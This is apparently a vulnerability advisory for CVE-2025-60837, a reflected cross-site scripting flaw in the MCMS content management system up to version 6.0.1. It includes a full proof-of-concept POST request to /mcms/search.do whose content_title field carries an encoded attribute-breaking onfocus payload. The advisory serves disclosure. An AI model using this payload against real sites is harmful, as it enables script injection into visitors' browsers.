CVE ID: CVE-2025-60837 Affected URL: /mcms/search.do Vendor of Product: https://gitee.com/mingSoft/MCMS Affected Product Code Base: MCMS <=6.0.1 Description: MCMS is vulnerable to Cross Site Scripting (XSS) Vulnerability Type: Cross Site Scripting (XSS) Affected Component: This XSS vulnerability is a front-end vulnerability in the software. It allows the execution of reflected XSS payloads without requiring user interaction. Attack Vectors: - POST /mcms/search.do HTTP/1.1 - Host: localhost:8080 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 - Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 - Accept-Encoding: gzip, deflate, br - Referer: http://localhost:8080/mcms/search.do - Content-Type: application/x-www-form-urlencoded - Content-Length: 76 - Origin: http://localhost:8080 - Connection: keep-alive - Cookie: Phpstorm-ec1681d1=41bf2189-32bc-4c90-b6e4-82d9857929e8; - Upgrade-Insecure-Requests: 1 - Priority: u=0, i - content_title=9999%22+onfocus%3Dalert%26%2334%3B1%26%2334%3B+autofocus%3D%22 Reference: - http://mcms.com - https://gitee.com/mingSoft/MCMS